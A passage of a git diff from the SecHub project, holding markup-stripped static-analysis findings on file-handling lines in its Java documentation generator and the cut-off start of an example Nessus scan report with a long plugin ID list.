5 + + + 32 + throw new IllegalStateException("Not able to create folder structure for:"+targetFile); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 35 + 5 + 1 + ThrowStmt + + 5 + + + 35 + throw new IllegalStateException("was not able to create new file:"+targetFile); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 38 + 21 + 2 + main + + 4 + + + 38 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 35 + 5 + 1 + ThrowStmt + + 5 + + + 35 + throw new IllegalStateException("was not able to create new file:"+targetFile); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 58 + 1 + ""secret/"" + + 9 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 23 + 2 + File + + 3 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 58 + 1 + ""gen/"" + + 6 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 23 + 2 + File + + 3 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 271 + 32 + 1 + ""./sechub-server"" + + 17 + + + 271 + File secHubServer = new File("./sechub-server"); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 271 + 23 + 2 + File + + 3 + + + 271 + File secHubServer = new File("./sechub-server"); + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 274 + 28 + 1 + ""./../sechub-server"" + + 20 + + + 274 + secHubServer = new File("./../sechub-server"); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 274 + 19 + 2 + File + + 3 + + + 274 + secHubServer = new File("./../sechub-server"); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 33 + 45 + 1 + ""documents/gen/"" + + 16 + + + 33 + public static final String DOCUMENTS_GEN = "documents/gen/"; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 33 + 29 + 2 + DOCUMENTS_GEN + + 13 + + + 33 + public static final String DOCUMENTS_GEN = "documents/gen/"; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 116 + 64 + 3 + scanForSpringRestDocGenFolder + + 1 + + + 116 + File projectRestDocGenFolder = scanForSpringRestDocGenFolder(restDocEntry); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 116 + 64 + 4 + scanForSpringRestDocGenFolder + + 1 + + + 116 + File projectRestDocGenFolder = scanForSpringRestDocGenFolder(restDocEntry); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 117 + 65 + 5 + copyToDocumentationProject + + 1 + + + 117 + restDocEntry.copiedRestDocFolder = copyToDocumentationProject(projectRestDocGenFolder, id); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 130 + 65 + 6 + DOCUMENTS_GEN + + 13 + + + 130 + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 130 + 23 + 7 + File + + 3 + + + 130 + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 57 + 26 + 1 + ""./.."" + + 6 + + + 57 + rootFolder = new File("./.."); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 57 + 17 + 2 + File + + 3 + + + 57 + rootFolder = new File("./.."); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 130 + 44 + 1 + ""src/docs/asciidoc/"" + + 20 + + + 130 + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 130 + 23 + 2 + File + + 3 + + + 130 + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 146 + 39 + 1 + ""generated-snippets/"" + + 21 + + + 146 + File expected = new File(buildDir, "generated-snippets/" + entry.path); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 146 + 20 + 2 + File + + 3 + + + 146 + File expected = new File(buildDir, "generated-snippets/" + entry.path); + + + + + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 48 + 13 + 1 + ""/"" + + 3 + + + 48 + sb.append("/"); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 48 + 12 + 2 + append + + 1 + + + 48 + sb.append("/"); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 49 + 3 + 3 + sb + + 2 + + + 49 + sb.append(createIdentifier(useCase)); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 50 + 3 + 4 + sb + + 2 + + + 50 + sb.append("/"); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 52 + 4 + 5 + sb + + 2 + + + 52 + sb.append(UseCaseRestDoc.DEFAULT_VARIANT); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 17 + 6 + sb + + 2 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 28 + 7 + toString + + 1 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 10 + 8 + path + + 4 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 62 + 10 + 9 + path + + 4 + + + 62 + return path; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 113 + 45 + 10 + createPath + + 1 + + + 113 + String id = RestDocPathFactory.createPath(useCaseClass, restDoc.variant()); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 113 + 11 + 11 + id + + 2 + + + 113 + String id = RestDocPathFactory.createPath(useCaseClass, restDoc.variant()); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 117 + 91 + 12 + id + + 2 + + + 117 + restDocEntry.copiedRestDocFolder = copyToDocumentationProject(projectRestDocGenFolder, id); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 129 + 79 + 13 + id + + 2 + + + 129 + private File copyToDocumentationProject(File projectRestDocGenFolder, String id) { + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 130 + 81 + 14 + id + + 2 + + + 130 + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 130 + 23 + 15 + File + + 3 + + + 130 + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + + + + + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 48 + 13 + 1 + ""/"" + + 3 + + + 48 + sb.append("/"); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 48 + 12 + 2 + append + + 1 + + + 48 + sb.append("/"); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 49 + 3 + 3 + sb + + 2 + + + 49 + sb.append(createIdentifier(useCase)); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 50 + 3 + 4 + sb + + 2 + + + 50 + sb.append("/"); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 52 + 4 + 5 + sb + + 2 + + + 52 + sb.append(UseCaseRestDoc.DEFAULT_VARIANT); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 17 + 6 + sb + + 2 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 28 + 7 + toString + + 1 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 10 + 8 + path + + 4 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 62 + 10 + 9 + path + + 4 + + + 62 + return path; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 113 + 45 + 10 + createPath + + 1 + + + 113 + String id = RestDocPathFactory.createPath(useCaseClass, restDoc.variant()); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 113 + 11 + 11 + id + + 2 + + + 113 + String id = RestDocPathFactory.createPath(useCaseClass, restDoc.variant()); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 115 + 24 + 12 + id + + 2 + + + 115 + restDocEntry.path = id; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 115 + 16 + 13 + path + + 1 + + + 115 + restDocEntry.path = id; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 116 + 65 + 14 + restDocEntry + + 12 + + + 116 + File projectRestDocGenFolder = scanForSpringRestDocGenFolder(restDocEntry); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 143 + 65 + 15 + entry + + 5 + + + 143 + private File scanForSpringRestDocGenFolder(UseCaseRestDocEntry entry) { + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 146 + 68 + 16 + path + + 1 + + + 146 + File expected = new File(buildDir, "generated-snippets/" + entry.path); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 146 + 20 + 17 + File + + 3 + + + 146 + File expected = new File(buildDir, "generated-snippets/" + entry.path); + + + + + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 50 + 13 + 1 + ""/"" + + 3 + + + 50 + sb.append("/"); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 50 + 12 + 2 + append + + 1 + + + 50 + sb.append("/"); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 52 + 4 + 3 + sb + + 2 + + + 52 + sb.append(UseCaseRestDoc.DEFAULT_VARIANT); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 17 + 4 + sb + + 2 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 28 + 5 + toString + + 1 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 10 + 6 + path + + 4 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 62 + 10 + 7 + path + + 4 + + + 62 + return path; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 113 + 45 + 8 + createPath + + 1 + + + 113 + String id = RestDocPathFactory.createPath(useCaseClass, restDoc.variant()); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 113 + 11 + 9 + id + + 2 + + + 113 + String id = RestDocPathFactory.createPath(useCaseClass, restDoc.variant()); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 117 + 91 + 10 + id + + 2 + + + 117 + restDocEntry.copiedRestDocFolder = copyToDocumentationProject(projectRestDocGenFolder, id); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 129 + 79 + 11 + id + + 2 + + + 129 + private File copyToDocumentationProject(File projectRestDocGenFolder, String id) { + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 130 + 81 + 12 + id + + 2 + + + 130 + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 130 + 23 + 13 + File + + 3 + + + 130 + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + + + + + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 50 + 13 + 1 + ""/"" + + 3 + + + 50 + sb.append("/"); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 50 + 12 + 2 + append + + 1 + + + 50 + sb.append("/"); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 52 + 4 + 3 + sb + + 2 + + + 52 + sb.append(UseCaseRestDoc.DEFAULT_VARIANT); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 17 + 4 + sb + + 2 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 28 + 5 + toString + + 1 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 10 + 6 + path + + 4 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 62 + 10 + 7 + path + + 4 + + + 62 + return path; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 113 + 45 + 8 + createPath + + 1 + + + 113 + String id = RestDocPathFactory.createPath(useCaseClass, restDoc.variant()); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 113 + 11 + 9 + id + + 2 + + + 113 + String id = RestDocPathFactory.createPath(useCaseClass, restDoc.variant()); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 115 + 24 + 10 + id + + 2 + + + 115 + restDocEntry.path = id; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 115 + 16 + 11 + path + + 1 + + + 115 + restDocEntry.path = id; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 116 + 65 + 12 + restDocEntry + + 12 + + + 116 + File projectRestDocGenFolder = scanForSpringRestDocGenFolder(restDocEntry); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 143 + 65 + 13 + entry + + 5 + + + 143 + private File scanForSpringRestDocGenFolder(UseCaseRestDocEntry entry) { + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 146 + 68 + 14 + path + + 1 + + + 146 + File expected = new File(buildDir, "generated-snippets/" + entry.path); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 146 + 20 + 15 + File + + 3 + + + 146 + File expected = new File(buildDir, "generated-snippets/" + entry.path); + + + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelAsciiDocGenerator.java + 112 + 53 + 1 + listFiles + + 1 + + + 112 + File[] files = entry.copiedRestDocFolder.listFiles(); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 64 + 40 + 1 + listFiles + + 1 + + + 64 + File[] subDirs = rootFolder.listFiles(new FileFilter() { + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 73 + 44 + 1 + listFiles + + 1 + + + 73 + File[] foundBuildDirs = subDir.listFiles(new FileFilter() { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 24 + 1 + exists + + 1 + + + 157 + if (!envFolder.exists()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 272 + 27 + 1 + exists + + 1 + + + 272 + if (!secHubServer.exists()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 21 + 1 + exists + + 1 + + + 284 + if (!folder.exists()) { + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 54 + 18 + 1 + exists + + 1 + + + 54 + if (file.exists()) { + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 60 + 25 + 1 + exists + + 1 + + + 60 + if (!sechHubDoc.exists()) { + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 147 + 23 + 1 + exists + + 1 + + + 147 + if (expected.exists()) { + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 77 + 29 + 1 + isDirectory + + 1 + + + 77 + return file.isDirectory() && file.getName().equals("build"); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 68 + 28 + 1 + isDirectory + + 1 + + + 68 + return file.isDirectory(); + + + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 274 + 4 + 1 + secHubServer + + 12 + + + 274 + secHubServer = new File("./../sechub-server"); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 57 + 4 + 1 + rootFolder + + 10 + + + 57 + rootFolder = new File("./.."); + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 34 + 8 + 1 + documentsGenFolder + + 18 + + + 34 + File documentsGenFolder = new File(path); + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 271 + 8 + 1 + secHubServer + + 12 + + + 271 + File secHubServer = new File("./sechub-server"); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelAsciiDocGenerator.java + 112 + 10 + 1 + files + + 5 + + + 112 + File[] files = entry.copiedRestDocFolder.listFiles(); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 52 + 8 + 1 + file + + 4 + + + 52 + File file = new File("sechub-doc"); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 130 + 8 + 1 + targetFolder + + 12 + + + 130 + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 146 + 9 + 1 + expected + + 8 + + + 146 + File expected = new File(buildDir, "generated-snippets/" + entry.path); + + + + + + + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 39 + 12 + 1 + write + + 1 + + + 39 + bw.write(text); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelAsciiDocGenerator.java + 112 + 53 + 1 + listFiles + + 1 + + + 112 + File[] files = entry.copiedRestDocFolder.listFiles(); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 64 + 40 + 1 + listFiles + + 1 + + + 64 + File[] subDirs = rootFolder.listFiles(new FileFilter() { + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 73 + 44 + 1 + listFiles + + 1 + + + 73 + File[] foundBuildDirs = subDir.listFiles(new FileFilter() { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 33 + 1 + createNewFile + + 1 + + + 252 + if (!secretFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 1 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 31 + 51 + 1 + mkdirs + + 1 + + + 31 + if (! parentFile.exists() && !parentFile.mkdirs()) { + + + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseModel.java + 48 + 26 + 1 + groups + + 6 + + + 48 + private UseCaseGroup[] groups; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseModel.java + 60 + 11 + 2 + groups + + 6 + + + 60 + return groups; + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseModel.java + 127 + 18 + 1 + next + + 4 + + + 127 + private int[] next; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseModel.java + 193 + 12 + 2 + next + + 4 + + + 193 + return next; + + + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 228 + 27 + 1 + format + + 1 + + + 228 + return dateFormat.format(new Date()); + + + + + + + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingModel.java + 125 + 6 + 1 + catch + + 5 + + + 125 + } catch (Exception e) { + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseModelDataCollector.java + 88 + 7 + 1 + catch + + 5 + + + 88 + } catch (Exception e) { + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 137 + 5 + 1 + catch + + 5 + + + 137 + } catch (IOException e) { + + + + + + + \ No newline at end of file diff --git a/sechub-other/testoutput/nessus_example_report.xml b/sechub-other/testoutput/nessus_example_report.xml new file mode 100644 index 0000000000..c4b4521ee8 --- /dev/null +++ b/sechub-other/testoutput/nessus_example_report.xml @@ -0,0 +1,6234 @@ + + +MYCONFIG +service_detection.search_for_ssl +yes + +plugin_set +99304;80304;20067;101840;20870;58411;74090;77682;63001;73673;36153;32133;85689;66586;20066;64490;58989;51169;11828;200048;56689;79865;76254;102496;11789;42354;79216;52013;88842;10296;20131;87941;93121;82769;19237;19694;94139;94327;24755;11536;11227;79803;72543;73184;11745;64581;87506;96800;81053;10085;66812;11617;25005;88098;77530;64993;95771;76163;10602;66428;50071;32122;85406;76147;87921;72279;42116;47594;68881;11975;52980;11864;49120;73573;43030;90443;100635;11542;95916;95764;59569;74326;69303;49964;56062;10495;64831;10918;65575;64786;77089;10322;63097;31131;10756;34157;11184;76573;100870;92786;99286;10269;84219;72107;86070;73484;100259;56652;97946;83265;89665;85321;17776;83467;21571;91992;64834;12098;55701;72772;73347;23637;18123;72774;13855;72064;19945;20960;13751;72665;23938;99969;11635;27534;35435;76868;66848;49009;11335;14591;62908;25768;81374;11729;71155;85876;31799;83356;77905;33218;19193;14344;47163;81700;12264;47583;62803;77632;91232;44047;72557;16086;70294;19771;22194;23646;45403;51175;73417;10896;87820;72935;82039;89109;35362;42800;83348;18566;69131;18302;12249;102996;58171;90923;64931;39621;10963;42963;64363;82033;10371;10849;77088;103680;93244;18527;77411;16462;16245;15604;10802;55119;104354;38876;69790;43154;33438;64690;55670;61572;48907;54301;58724;69982;51564;87677;72670;71927;63186;84149;93027;58572;49018;25547;73614;18122;10413;58004;65769;85007;81080;35656;38929;104997;39494;77669;18267;42961;57336;11995;19407;94198;82850;49954;69318;25162;72340;89746;83294;96802;52482;15618;86365;85271;16070;66972;72661;11553;82295;11248;29225;72906;95812;78750;62385;17765;15393;73271;38877;10547;78671;42105;10038;29831;23638;93195;102494;10984;102175;55123;72708;51098;16329;34098;22493;200014;90892;10073;102977;65897;17649;42114;81319;57641;103141;79444;32131;104855;69913;97435;83113;10285;20374;72333;42409;33269;14221;73532;49286;25244;11332;18410;17663;99440;21605;15705;99473;18552;11414;49022;76778;70978;90118;20929;45410;80952;91818;10622;71159;79830;65822;48350;73334;89107;59796;11520;40472;73100;25881;23774;35952;99132;85882;35580;62122;53841;66315;62590;93897;62314;62032;58991;49041;77631;54646;87595;81084;63684;39793;18217;12126;10633;56162;77282;45023;62974;23812;59448;92001;92377;43831;12206;56172;69177;11681;51835;77479;57082;18418;43160;72415;73642;66694;18140;51460;102916;21335;50382;11810;51912;89082;33284;15467;10700;80081;85803;19755;22055;69869;62518;22868;40999;14244;11485;19474;59231;12095;40807;63685;15892;79863;11352;29930;59369;64841;96767;11568;62684;69422;11347;38875;104627;74434;80497;10822;49694;22229;102709;92426;91012;81918;25083;24021;88987;97224;100162;84798;19768;65732;22130;55992;99285;11589;55287;24670;85630;66375;11267;64560;55651;12040;10409;82995;11159;99170;42983;15456;78064;33851;53376;58414;11934;89750;35600;21559;17328;65057;62836;57483;35278;18600;86602;100001;72481;66235;70312;74369;10575;25342;39521;99368;74424;11796;45052;84362;94385;14818;58567;67248;93472;90422;31412;92041;38911;54585;38974;93097;34085;18300;28333;11801;81952;18026;90925;20932;32320;97576;36050;53474;10999;33932;76412;72063;26025;55979;16191;10084;44391;50545;85740;73965;57580;81383;82533;200007;49046;64709;31423;65549;92370;100102;10420;74379;35761;33588;85221;62559;76768;103192;93006;94899;22096;25882;69833;11263;11297;32313;103673;57875;69551;18097;83087;97352;24744;78770;103818;83739;85879;14247;82777;66239;66806;22033;18488;72342;104390;11665;87312;23818;63552;76882;33102;57801;11046;70171;63398;57278;14312;25166;55514;10128;65995;76593;39502;84398;10184;88146;91487;87821;31356;31642;104382;10946;20136;16469;10392;34474;62861;59787;31852;78552;69324;11358;10974;88593;17822;83993;85218;101846;24344;85335;83523;65193;10758;200019;32135;10786;66026;10131;71315;96488;80084;90537;10597;71839;14828;19288;49119;18204;15779;81823;49697;15931;84882;63334;14660;99591;50690;13842;53869;21326;31864;33200;44418;60036;66869;94340;22876;72341;57362;73104;67230;14706;103967;19603;20961;11697;23968;10816;79138;58814;10616;14363;35259;10081;44620;89751;64705;56779;14827;50704;34489;18142;88986;47165;46815;54833;71227;74217;57394;18485;52657;14293;55801;76360;29868;74011;78432;63265;59174;72644;70474;70764;74422;74250;48299;15530;105022;34472;95475;58536;14217;16280;77183;80085;42440;19517;64556;11928;87311;31734;71115;40479;46790;10197;73188;45420;93467;53448;85545;17975;103114;10132;19520;10658;86403;93560;24020;32316;73290;72729;34159;56565;55640;58568;72435;62309;11164;40930;103931;23933;11303;93465;10931;80865;11523;33561;10968;81265;13856;10588;26026;17753;101819;29853;25905;54923;43099;11564;14638;73827;40332;51587;26011;50613;11180;18572;67192;34969;38701;55511;12295;50475;99588;76315;78084;70495;67203;21609;18260;19704;97794;63681;58329;11838;10045;58087;29998;47698;101954;51663;64920;45569;45441;10311;77280;83735;81975;11863;12058;10920;82827;20159;44424;48338;20986;69446;61732;17204;73374;70144;31042;17292;86804;87892;34055;97193;18671;10690;23820;11818;18644;25903;69830;19559;70395;69046;84088;80104;39875;93609;30056;53897;72832;102083;69236;35298;86425;12065;60110;96177;10447;68984;94675;17779;16333;31121;43635;100130;59529;35760;33285;92418;64575;14190;42436;44315;10685;19232;58119;10781;93964;10543;93912;47595;57640;53543;56812;49026;25930;103048;64817;93078;10858;18487;99478;10301;17806;44066;17598;92423;76126;13650;97727;87923;11604;69836;11135;82078;100104;10027;62968;15775;19767;25458;92841;73529;23741;85627;86471;63690;10401;57916;63688;58038;77119;94762;47780;22035;63694;25119;23786;92375;104380;31122;49806;78910;19950;35105;100572;19312;61564;47782;31647;73186;18589;99688;70975;42345;17314;42979;44416;91457;73787;91959;100186;61533;80862;100298;48978;58799;40355;82902;47683;70745;10281;43814;10248;72834;24682;86545;46840;54581;34400;16203;17737;10113;10577;96876;96956;99666;22303;78673;21621;79582;11870;76333;100616;31355;17229;51185;46741;92015;93652;70336;74441;11776;53493;74159;10862;66472;60108;17255;32476;79624;77476;65809;96178;81704;51424;11059;26971;15506;45393;15784;63450;19314;14218;17708;46859;57826;71943;68930;11809;83114;69106;14598;76489;34417;11937;23776;22313;10601;76345;49658;102201;14189;78083;33126;73612;63079;18414;81317;16071;14185;69875;79335;62375;66633;10960;79827;44670;10489;11993;40550;41970;18164;72558;77668;46171;61446;99474;56956;64711;88739;20949;100197;20737;91501;80949;86569;24223;18372;86253;81085;22131;47834;100384;39792;31049;96606;62738;53378;10649;73689;72026;38831;10885;10395;70498;94959;22483;17575;82701;94362;44959;20160;67215;57976;44393;56299;59459;104633;87419;10933;21780;38760;89749;91347;72245;18537;81168;76307;73944;25118;16178;76461;89033;104479;55523;14817;38733;50563;55802;21079;21738;12032;18653;44676;10634;35581;10397;11973;57729;32317;11518;45488;25038;20218;95885;93232;45122;57062;64828;21310;68931;11121;45434;44070;66189;42897;11074;11155;69104;11705;15767;57601;10585;96390;10425;85738;25734;63563;17718;10990;103128;82532;33870;73635;91607;65191;80332;69135;85544;44328;34337;87847;61696;47714;104533;24781;44136;10541;12086;83957;66840;83035;62624;20387;89831;78440;27599;92725;20013;18367;74156;88738;35608;103871;58574;99127;73381;10080;73733;17738;72186;23971;71940;66190;86898;101397;66498;31299;91225;42261;22310;29311;76145;10305;23648;58595;65632;16142;101815;40621;72118;95439;78427;93516;61644;62703;14842;52962;10837;50688;11623;11674;73522;10253;87950;19779;82666;69270;51438;19555;67217;13848;40826;52973;95575;47039;82741;99667;22532;62466;11146;69992;46201;10679;49027;96151;72942;79311;17247;94071;26197;17260;25637;71349;63158;22184;72332;17273;25708;10687;82775;91829;31414;32082;18141;12004;100761;11076;35462;18642;56691;16194;92435;50693;88932;90152;10650;25885;73158;83466;77906;68936;82566;46215;11972;71496;86301;31351;99968;10527;97889;15540;73523;91898;59659;492